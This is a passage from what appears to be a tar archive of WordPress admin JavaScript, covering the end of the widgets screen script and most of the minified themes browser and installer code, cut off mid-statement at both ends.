'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' ); theme.min.js 0000644 00000065006 15174417325 0007006 0 ustar 00 /*! This file is auto-generated */ window.wp=window.wp||{},function(n){var o,a;function e(e,t){Backbone.history._hasPushState&&Backbone.Router.prototype.navigate.call(this,e,t)}(o=wp.themes=wp.themes||{}).data=_wpThemeSettings,a=o.data.l10n,o.isInstall=!!o.data.settings.isInstall,_.extend(o,{model:{},view:{},routes:{},router:{},template:wp.template}),o.Model=Backbone.Model.extend({initialize:function(){var e;this.get("slug")&&(-1!==_.indexOf(o.data.installedThemes,this.get("slug"))&&this.set({installed:!0}),o.data.activeTheme===this.get("slug"))&&this.set({active:!0}),this.set({id:this.get("slug")||this.get("id")}),this.has("sections")&&(e=this.get("sections").description,this.set({description:e}))}}),o.view.Appearance=wp.Backbone.View.extend({el:"#wpbody-content .wrap .theme-browser",window:n(window),page:0,initialize:function(e){_.bindAll(this,"scroller"),this.SearchView=e.SearchView||o.view.Search,this.window.on("scroll",_.throttle(this.scroller,300))},render:function(){this.view=new o.view.Themes({collection:this.collection,parent:this}),this.search(),this.$el.removeClass("search-loading"),this.view.render(),this.$el.empty().append(this.view.el).addClass("rendered")},searchContainer:n(".search-form"),search:function(){var e;1!==o.data.themes.length&&(e=new this.SearchView({collection:this.collection,parent:this}),(this.SearchView=e).render(),this.searchContainer.find(".search-box").append(n.parseHTML('<label for="wp-filter-search-input">'+a.search+"</label>")).append(e.el),this.searchContainer.on("submit",function(e){e.preventDefault()}))},scroller:function(){var e=this,t=this.window.scrollTop()+e.window.height(),e=e.$el.offset().top+e.$el.outerHeight(!1)-e.window.height();Math.round(.9*e)<t&&this.trigger("theme:scroll")}}),o.Collection=Backbone.Collection.extend({model:o.Model,terms:"",doSearch:function(e){this.terms!==e&&(this.terms=e,0<this.terms.length&&this.search(this.terms),""===this.terms&&(this.reset(o.data.themes),n("body").removeClass("no-results")),this.trigger("themes:update"))},search:function(t){var i,e,s,r,a;this.reset(o.data.themes,{silent:!0}),t=(t=(t=t.trim()).replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")).replace(/ /g,")(?=.*"),i=new RegExp("^(?=.*"+t+").+","i"),0===(e=this.filter(function(e){return s=e.get("name").replace(/(<([^>]+)>)/gi,""),r=e.get("description").replace(/(<([^>]+)>)/gi,""),a=e.get("author").replace(/(<([^>]+)>)/gi,""),s=_.union([s,e.get("id"),r,a,e.get("tags")]),i.test(e.get("author"))&&2<t.length&&e.set("displayAuthor",!0),i.test(s)})).length?this.trigger("query:empty"):n("body").removeClass("no-results"),this.reset(e)},paginate:function(e){var t=this;return e=e||0,t=_(t.rest(20*e)),t=_(t.first(20))},count:!1,query:function(t){var e,i,s,r=this.queries,a=this;if(this.currentQuery.request=t,e=_.find(r,function(e){return _.isEqual(e.request,t)}),(i=_.has(t,"page"))||(this.currentQuery.page=1),e||i){if(i)return this.apiCall(t,i).done(function(e){a.add(e.themes),a.trigger("query:success"),a.loadingThemes=!1}).fail(function(){a.trigger("query:fail")});0===e.themes.length?a.trigger("query:empty"):n("body").removeClass("no-results"),_.isNumber(e.total)&&(this.count=e.total),this.reset(e.themes),e.total||(this.count=this.length),this.trigger("themes:update"),this.trigger("query:success",this.count)}else this.apiCall(t).done(function(e){e.themes&&(a.reset(e.themes),s=e.info.results,r.push({themes:e.themes,request:t,total:s})),a.trigger("themes:update"),a.trigger("query:success",s),e.themes&&0===e.themes.length&&a.trigger("query:empty")}).fail(function(){a.trigger("query:fail")})},queries:[],currentQuery:{page:1,request:{}},apiCall:function(e,t){return wp.ajax.send("query-themes",{data:{request:_.extend({per_page:100},e)},beforeSend:function(){t||n("body").addClass("loading-content").removeClass("no-results")}})},loadingThemes:!1}),o.view.Theme=wp.Backbone.View.extend({className:"theme",state:"grid",html:o.template("theme"),events:{click:o.isInstall?"preview":"expand",keydown:o.isInstall?"preview":"expand",touchend:o.isInstall?"preview":"expand",keyup:"addFocus",touchmove:"preventExpand","click .theme-install":"installTheme","click .update-message":"updateTheme"},touchDrag:!1,initialize:function(){this.model.on("change",this.render,this)},render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)).attr("data-slug",e.id),this.activeTheme(),this.model.get("displayAuthor")&&this.$el.addClass("display-author")},activeTheme:function(){this.model.get("active")&&this.$el.addClass("active")},addFocus:function(){var e=n(":focus").hasClass("theme")?n(":focus"):n(":focus").parents(".theme");n(".theme.focus").removeClass("focus"),e.addClass("focus")},expand:function(e){if("keydown"!==(e=e||window.event).type||13===e.which||32===e.which)return!0===this.touchDrag?this.touchDrag=!1:void(n(e.target).is(".theme-actions a")||n(e.target).is(".theme-actions a, .update-message, .button-link, .notice-dismiss")||(o.focusedTheme=this.$el,this.trigger("theme:expand",this.model.cid)))},preventExpand:function(){this.touchDrag=!0},preview:function(e){var t,i,s=this;if(e=e||window.event,!0===this.touchDrag)return this.touchDrag=!1;n(e.target).not(".install-theme-preview").parents(".theme-actions").length||"keydown"===e.type&&13!==e.which&&32!==e.which||"keydown"===e.type&&13!==e.which&&n(":focus").hasClass("button")||(e.preventDefault(),e=e||window.event,o.focusedTheme=this.$el,o.preview=i=new o.view.Preview({model:this.model}),i.render(),this.setNavButtonsState(),1===this.model.collection.length?i.$el.addClass("no-navigation"):i.$el.removeClass("no-navigation"),n("div.wrap").append(i.el),this.listenTo(i,"theme:next",function(){if(t=s.model,_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)+1),_.isUndefined(s.current))return s.options.parent.parent.trigger("theme:end"),s.current=t;i.model=s.current,i.render(),this.setNavButtonsState(),n(".next-theme").trigger("focus")}).listenTo(i,"theme:previous",function(){t=s.model,0===s.model.collection.indexOf(s.current)||(_.isUndefined(s.current)||(t=s.current),s.current=s.model.collection.at(s.model.collection.indexOf(t)-1),_.isUndefined(s.current))||(i.model=s.current,i.render(),this.setNavButtonsState(),n(".previous-theme").trigger("focus"))}),this.listenTo(i,"preview:close",function(){s.current=s.model}))},setNavButtonsState:function(){var e=n(".theme-install-overlay"),t=_.isUndefined(this.current)?this.model:this.current,i=e.find(".previous-theme"),e=e.find(".next-theme");0===this.model.collection.indexOf(t)&&(i.addClass("disabled").prop("disabled",!0),e.trigger("focus")),_.isUndefined(this.model.collection.at(this.model.collection.indexOf(t)+1))&&(e.addClass("disabled").prop("disabled",!0),i.trigger("focus"))},installTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({installed:!0}),t.blockTheme&&i.model.set({block_theme:!0})}),wp.updates.installTheme({slug:n(e.target).data("slug")})},updateTheme:function(e){var i=this;this.model.get("hasPackage")&&(e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.off("change",i.render,i),i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.model.on("change",i.render,i)}),wp.updates.updateTheme({slug:n(e.target).parents("div.theme").first().data("slug")}))}}),o.view.Details=wp.Backbone.View.extend({className:"theme-overlay",events:{click:"collapse","click .delete-theme":"deleteTheme","click .left":"previousTheme","click .right":"nextTheme","click #update-theme":"updateTheme","click .toggle-auto-update":"autoupdateState"},html:o.template("theme-single"),render:function(){var e=this.model.toJSON();this.$el.html(this.html(e)),this.activeTheme(),this.navigation(),this.screenshotCheck(this.$el),this.containFocus(this.$el)},activeTheme:function(){this.$el.toggleClass("active",this.model.get("active"))},containFocus:function(s){_.delay(function(){n(".theme-overlay").trigger("focus")},100),s.on("keydown.wp-themes",function(e){var t=s.find(".theme-header button:not(.disabled)").first(),i=s.find(".theme-actions a:visible").last();9===e.which&&(t[0]===e.target&&e.shiftKey?(i.trigger("focus"),e.preventDefault()):i[0]!==e.target||e.shiftKey||(t.trigger("focus"),e.preventDefault()))})},collapse:function(e){var t,i=this;e=e||window.event,1!==o.data.themes.length&&(n(e.target).is(".theme-backdrop")||n(e.target).is(".close")||27===e.keyCode)&&(n("body").addClass("closing-overlay"),this.$el.fadeOut(130,function(){n("body").removeClass("closing-overlay"),i.closeOverlay(),t=document.body.scrollTop,o.router.navigate(o.router.baseUrl("")),document.body.scrollTop=t,o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}))},navigation:function(){this.model.cid===this.model.collection.at(0).cid&&this.$el.find(".left").addClass("disabled").prop("disabled",!0),this.model.cid===this.model.collection.at(this.model.collection.length-1).cid&&this.$el.find(".right").addClass("disabled").prop("disabled",!0)},closeOverlay:function(){n("body").removeClass("modal-open"),this.remove(),this.unbind(),this.trigger("theme:collapse")},autoupdateState:function(){var s=this,r=function(e,t){var i;s.model.get("id")===t.asset&&((i=s.model.get("autoupdate")).enabled="enable"===t.state,s.model.set({autoupdate:i}),n(document).off("wp-auto-update-setting-changed",r))};n(document).on("wp-auto-update-setting-changed",r)},updateTheme:function(e){var i=this;e.preventDefault(),wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-update-success",function(e,t){i.model.get("id")===t.slug&&i.model.set({hasUpdate:!1,version:t.newVersion}),i.render()}),wp.updates.updateTheme({slug:n(e.target).data("slug")})},deleteTheme:function(e){var i=this,s=i.model.collection,r=o;e.preventDefault(),window.confirm(wp.themes.data.settings.confirmDelete)&&(wp.updates.maybeRequestFilesystemCredentials(e),n(document).one("wp-theme-delete-success",function(e,t){i.$el.find(".close").trigger("click"),n('[data-slug="'+t.slug+'"]').css({backgroundColor:"#faafaa"}).fadeOut(350,function(){n(this).remove(),r.data.themes=_.without(r.data.themes,_.findWhere(r.data.themes,{id:t.slug})),n(".wp-filter-search").val(""),s.doSearch(""),s.remove(i.model),s.trigger("themes:update")})}),wp.updates.deleteTheme({slug:this.model.get("id")}))},nextTheme:function(){return this.trigger("theme:next",this.model.cid),!1},previousTheme:function(){return this.trigger("theme:previous",this.model.cid),!1},screenshotCheck:function(e){var t=e.find(".screenshot img"),i=new Image;i.src=t.attr("src"),i.width&&i.width<=300&&e.addClass("small-screenshot")}}),o.view.Preview=o.view.Details.extend({className:"wp-full-overlay expanded",el:".theme-install-overlay",events:{"click .close-full-overlay":"close","click .collapse-sidebar":"collapse","click .devices button":"previewDevice","click .previous-theme":"previousTheme","click .next-theme":"nextTheme",keyup:"keyEvent","click .theme-install":"installTheme"},html:o.template("theme-preview"),render:function(){var e=this,t=this.model.toJSON(),i=n(document.body);i.attr("aria-busy","true"),this.$el.removeClass("iframe-ready").html(this.html(t)),(t=this.$el.data("current-preview-device"))&&e.togglePreviewDeviceButtons(t),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.get("id")),{replace:!1}),this.$el.fadeIn(200,function(){i.addClass("theme-installer-active full-overlay-active")}),this.$el.find("iframe").one("load",function(){e.iframeLoaded()})},iframeLoaded:function(){this.$el.addClass("iframe-ready"),n(document.body).attr("aria-busy","false")},close:function(){return this.$el.fadeOut(200,function(){n("body").removeClass("theme-installer-active full-overlay-active"),o.focusedTheme&&o.focusedTheme.find(".more-details").trigger("focus")}).removeClass("iframe-ready"),o.router.selectedTab?(o.router.navigate(o.router.baseUrl("?browse="+o.router.selectedTab)),o.router.selectedTab=!1):o.router.navigate(o.router.baseUrl("")),this.trigger("preview:close"),this.undelegateEvents(),this.unbind(),!1},collapse:function(e){e=n(e.currentTarget);return"true"===e.attr("aria-expanded")?e.attr({"aria-expanded":"false","aria-label":a.expandSidebar}):e.attr({"aria-expanded":"true","aria-label":a.collapseSidebar}),this.$el.toggleClass("collapsed").toggleClass("expanded"),!1},previewDevice:function(e){e=n(e.currentTarget).data("device");this.$el.removeClass("preview-desktop preview-tablet preview-mobile").addClass("preview-"+e).data("current-preview-device",e),this.togglePreviewDeviceButtons(e)},togglePreviewDeviceButtons:function(e){var t=n(".wp-full-overlay-footer .devices");t.find("button").removeClass("active").attr("aria-pressed",!1),t.find("button.preview-"+e).addClass("active").attr("aria-pressed",!0)},keyEvent:function(e){27===e.keyCode&&(this.undelegateEvents(),this.close()),e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&_.once(this.nextTheme()),37===e.keyCode&&this.previousTheme())},installTheme:function(e){var t=this,i=n(e.target);e.preventDefault(),i.hasClass("disabled")||(wp.updates.maybeRequestFilesystemCredentials(e),n(document).on("wp-theme-install-success",function(){t.model.set({installed:!0})}),wp.updates.installTheme({slug:i.data("slug")}))}}),o.view.Themes=wp.Backbone.View.extend({className:"themes wp-clearfix",$overlay:n("div.theme-overlay"),index:0,count:n(".wrap .theme-count"),liveThemeCount:0,initialize:function(e){var t=this;this.parent=e.parent,this.setView("grid"),t.currentTheme(),this.listenTo(t.collection,"themes:update",function(){t.parent.page=0,t.currentTheme(),t.render(this)}),this.listenTo(t.collection,"query:success",function(e){_.isNumber(e)?(t.count.text(e),t.announceSearchResults(e)):(t.count.text(t.collection.length),t.announceSearchResults(t.collection.length))}),this.listenTo(t.collection,"query:empty",function(){n("body").addClass("no-results")}),this.listenTo(this.parent,"theme:scroll",function(){t.renderThemes(t.parent.page)}),this.listenTo(this.parent,"theme:close",function(){t.overlay&&t.overlay.closeOverlay()}),n("body").on("keyup",function(e){!t.overlay||n("#request-filesystem-credentials-dialog").is(":visible")||e.shiftKey||e.ctrlKey&&e.shiftKey||(39===e.keyCode&&t.overlay.nextTheme(),37===e.keyCode&&t.overlay.previousTheme(),27===e.keyCode&&t.overlay.collapse(e))})},render:function(){this.$el.empty(),1===o.data.themes.length&&(this.singleTheme=new o.view.Details({model:this.collection.models[0]}),this.singleTheme.render(),this.$el.addClass("single-theme"),this.$el.append(this.singleTheme.el)),0<this.options.collection.size()&&this.renderThemes(this.parent.page),this.liveThemeCount=this.collection.count||this.collection.length,this.count.text(this.liveThemeCount),o.isInstall||this.announceSearchResults(this.liveThemeCount)},renderThemes:function(e){var t=this;t.instance=t.collection.paginate(e),0===t.instance.size()?this.parent.trigger("theme:end"):(!o.isInstall&&1<=e&&n(".add-new-theme").remove(),t.instance.each(function(e){t.theme=new o.view.Theme({model:e,parent:t}),t.theme.render(),t.$el.append(t.theme.el),t.listenTo(t.theme,"theme:expand",t.expand,t)}),!o.isInstall&&o.data.settings.canInstall&&this.$el.append('<div class="theme add-new-theme"><a href="'+o.data.settings.installURI+'"><div class="theme-screenshot"><span aria-hidden="true"></span></div><h2 class="theme-name">'+a.addNew+"</h2></a></div>"),this.parent.page++)},currentTheme:function(){var e=this.collection.findWhere({active:!0});e&&(this.collection.remove(e),this.collection.add(e,{at:0}))},setView:function(e){return e},expand:function(e){var t,i=this;this.model=i.collection.get(e),o.router.navigate(o.router.baseUrl(o.router.themePath+this.model.id)),this.setView("detail"),n("body").addClass("modal-open"),this.overlay=new o.view.Details({model:i.model}),this.overlay.render(),this.model.get("hasUpdate")&&(e=n('[data-slug="'+this.model.id+'"]'),t=n(this.overlay.el),e.find(".updating-message").length?(t.find(".notice-warning h3").remove(),t.find(".notice-warning").removeClass("notice-large").addClass("updating-message").find("p").text(wp.updates.l10n.updating)):e.find(".notice-error").length&&t.find(".notice-warning").remove()),this.$overlay.html(this.overlay.el),this.listenTo(this.overlay,"theme:next",function(){i.next([i.model.cid])}).listenTo(this.overlay,"theme:previous",function(){i.previous([i.model.cid])})},next:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)+1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},previous:function(e){e=this.collection.get(e[0]),e=this.collection.at(this.collection.indexOf(e)-1);void 0!==e&&(this.overlay.closeOverlay(),this.theme.trigger("theme:expand",e.cid))},announceSearchResults:function(e){0===e?wp.a11y.speak(a.noThemesFound):wp.a11y.speak(a.themesFound.replace("%d",e))}}),o.view.Search=wp.Backbone.View.extend({tagName:"input",className:"wp-filter-search",id:"wp-filter-search-input",searching:!1,attributes:{type:"search","aria-describedby":"live-search-desc"},events:{input:"search",keyup:"search",blur:"pushState"},initialize:function(e){this.parent=e.parent,this.listenTo(this.parent,"theme:close",function(){this.searching=!1})},search:function(e){"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e)},doSearch:function(e){var t={};this.collection.doSearch(e.target.value.replace(/\+/g," ")),this.searching&&13!==e.which?t.replace=!0:this.searching=!0,e.target.value?o.router.navigate(o.router.baseUrl(o.router.searchPath+e.target.value),t):o.router.navigate(o.router.baseUrl(""))},pushState:function(e){var t=o.router.baseUrl("");e.target.value&&(t=o.router.baseUrl(o.router.searchPath+encodeURIComponent(e.target.value))),this.searching=!1,o.router.navigate(t)}}),o.Router=Backbone.Router.extend({routes:{"themes.php?theme=:slug":"theme","themes.php?search=:query":"search","themes.php?s=:query":"search","themes.php":"themes","":"themes"},baseUrl:function(e){return"themes.php"+e},themePath:"?theme=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},themes:function(){n(".wp-filter-search").val("")},navigate:e}),o.Run={init:function(){this.themes=new o.Collection(o.data.themes),this.view=new o.view.Appearance({collection:this.themes}),this.render(),this.view.SearchView.doSearch=_.debounce(this.view.SearchView.doSearch,500)},render:function(){this.view.render(),this.routes(),Backbone.History.started&&Backbone.history.stop(),Backbone.history.start({root:o.data.settings.adminUrl,pushState:!0,hashChange:!1})},routes:function(){var t=this;o.router=new o.Router,o.router.on("route:theme",function(e){t.view.view.expand(e)}),o.router.on("route:themes",function(){t.themes.doSearch(""),t.view.trigger("theme:close")}),o.router.on("route:search",function(){n(".wp-filter-search").trigger("keyup")}),this.extraRoutes()},extraRoutes:function(){return!1}},o.view.InstallerSearch=o.view.Search.extend({events:{input:"search",keyup:"search"},terms:"",search:function(e){("keyup"!==e.type||9!==e.which&&16!==e.which)&&(this.collection=this.options.parent.view.collection,"keyup"===e.type&&27===e.which&&(e.target.value=""),this.doSearch(e.target.value))},doSearch:function(e){var t={};this.terms!==e&&(this.terms=e,"author:"===(t.search=e).substring(0,7)&&(t.search="",t.author=e.slice(7)),"tag:"===e.substring(0,4)&&(t.search="",t.tag=[e.slice(4)]),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),n("body").removeClass("show-filters filters-applied show-favorites-form"),n(".drawer-toggle").attr("aria-expanded","false"),this.collection.query(t),o.router.navigate(o.router.baseUrl(o.router.searchPath+encodeURIComponent(e)),{replace:!0}))}}),o.view.Installer=o.view.Appearance.extend({el:"#wpbody-content .wrap",events:{"click .filter-links li > a":"onSort","click .theme-filter":"onFilter","click .drawer-toggle":"moreFilters","click .filter-drawer .apply-filters":"applyFilters",'click .filter-group [type="checkbox"]':"addFilter","click .filter-drawer .clear-filters":"clearFilters","click .edit-filters":"backToFilters","click .favorites-form-submit":"saveUsername","keyup #wporg-username-input":"saveUsername"},render:function(){var e=this;this.search(),this.uploader(),this.collection=new o.Collection,this.listenTo(this,"theme:end",function(){e.collection.loadingThemes||(e.collection.loadingThemes=!0,e.collection.currentQuery.page++,_.extend(e.collection.currentQuery.request,{page:e.collection.currentQuery.page}),e.collection.query(e.collection.currentQuery.request))}),this.listenTo(this.collection,"query:success",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove()}),this.listenTo(this.collection,"query:fail",function(){n("body").removeClass("loading-content"),n(".theme-browser").find("div.error").remove(),n(".theme-browser").find("div.themes").before('<div class="notice notice-error"><p>'+a.error+'</p><p><button class="button try-again">'+a.tryAgain+"</button></p></div>"),n(".theme-browser .error .try-again").on("click",function(e){e.preventDefault(),n("input.wp-filter-search").trigger("input")})}),this.view&&this.view.remove(),this.view=new o.view.Themes({collection:this.collection,parent:this}),this.page=0,this.$el.find(".themes").remove(),this.view.render(),this.$el.find(".theme-browser").append(this.view.el).addClass("rendered")},browse:function(e){"block-themes"===e?this.collection.query({tag:"full-site-editing"}):this.collection.query({browse:e})},onSort:function(e){var t=n(e.target),i=t.data("sort");e.preventDefault(),n("body").removeClass("filters-applied show-filters"),n(".drawer-toggle").attr("aria-expanded","false"),t.hasClass(this.activeClass)||(this.sort(i),o.router.navigate(o.router.baseUrl(o.router.browsePath+i)))},sort:function(e){this.clearSearch(),o.router.selectedTab=e,n(".filter-links li > a, .theme-filter").removeClass(this.activeClass).removeAttr("aria-current"),n('[data-sort="'+e+'"]').addClass(this.activeClass).attr("aria-current","page"),"favorites"===e?n("body").addClass("show-favorites-form"):n("body").removeClass("show-favorites-form"),this.browse(e)},onFilter:function(e){var e=n(e.target),t=e.data("filter");e.hasClass(this.activeClass)||(n(".filter-links li > a, .theme-section").removeClass(this.activeClass).removeAttr("aria-current"),e.addClass(this.activeClass).attr("aria-current","page"),t&&(t=_.union([t,this.filtersChecked()]),this.collection.query({tag:[t]})))},addFilter:function(){this.filtersChecked()},applyFilters:function(e){var t,i=this.filtersChecked(),s={tag:i},r=n(".filtered-by .tags");e&&e.preventDefault(),i?(n("body").addClass("filters-applied"),n(".filter-links li > a.current").removeClass("current").removeAttr("aria-current"),r.empty(),_.each(i,function(e){t=n('label[for="filter-id-'+e+'"]').text(),r.append('<span class="tag">'+t+"</span>")}),this.collection.query(s)):wp.a11y.speak(a.selectFeatureFilter)},saveUsername:function(e){var t=n("#wporg-username-input").val(),i=n("#wporg-username-nonce").val(),s={browse:"favorites",user:t},r=this;if(e&&e.preventDefault(),"keyup"!==e.type||13===e.which)return wp.ajax.send("save-wporg-username",{data:{_wpnonce:i,username:t},success:function(){r.collection.query(s)}})},filtersChecked:function(){var e=n(".filter-group").find(":checkbox"),t=[];return _.each(e.filter(":checked"),function(e){t.push(n(e).prop("value"))}),0===t.length?(n(".filter-drawer .apply-filters").find("span").text(""),n(".filter-drawer .clear-filters").hide(),n("body").removeClass("filters-applied"),!1):(n(".filter-drawer .apply-filters").find("span").text(t.length),n(".filter-drawer .clear-filters").css("display","inline-block"),t)},activeClass:"current",uploader:function(){var e=n(".upload-view-toggle"),t=n(document.body);e.on("click",function(){t.toggleClass("show-upload-view"),e.attr("aria-expanded",t.hasClass("show-upload-view"))})},moreFilters:function(e){var t=n("body"),i=n(".drawer-toggle");if(e.preventDefault(),t.hasClass("filters-applied"))return this.backToFilters();this.clearSearch(),o.router.navigate(o.router.baseUrl("")),t.toggleClass("show-filters"),i.attr("aria-expanded",t.hasClass("show-filters"))},clearFilters:function(e){var t=n(".filter-group").find(":checkbox"),i=this;e.preventDefault(),_.each(t.filter(":checked"),function(e){return n(e).prop("checked",!1),i.filtersChecked()})},backToFilters:function(e){e&&e.preventDefault(),n("body").removeClass("filters-applied")},clearSearch:function(){n("#wp-filter-search-input").val("")}}),o.InstallerRouter=Backbone.Router.extend({routes:{"theme-install.php?theme=:slug":"preview","theme-install.php?browse=:sort":"sort","theme-install.php?search=:query":"search","theme-install.php":"sort"},baseUrl:function(e){return"theme-install.php"+e},themePath:"?theme=",browsePath:"?browse=",searchPath:"?search=",search:function(e){n(".wp-filter-search").val(e.replace(/\+/g," "))},navigate:e}),o.RunInstaller={init:function(){this.view=new 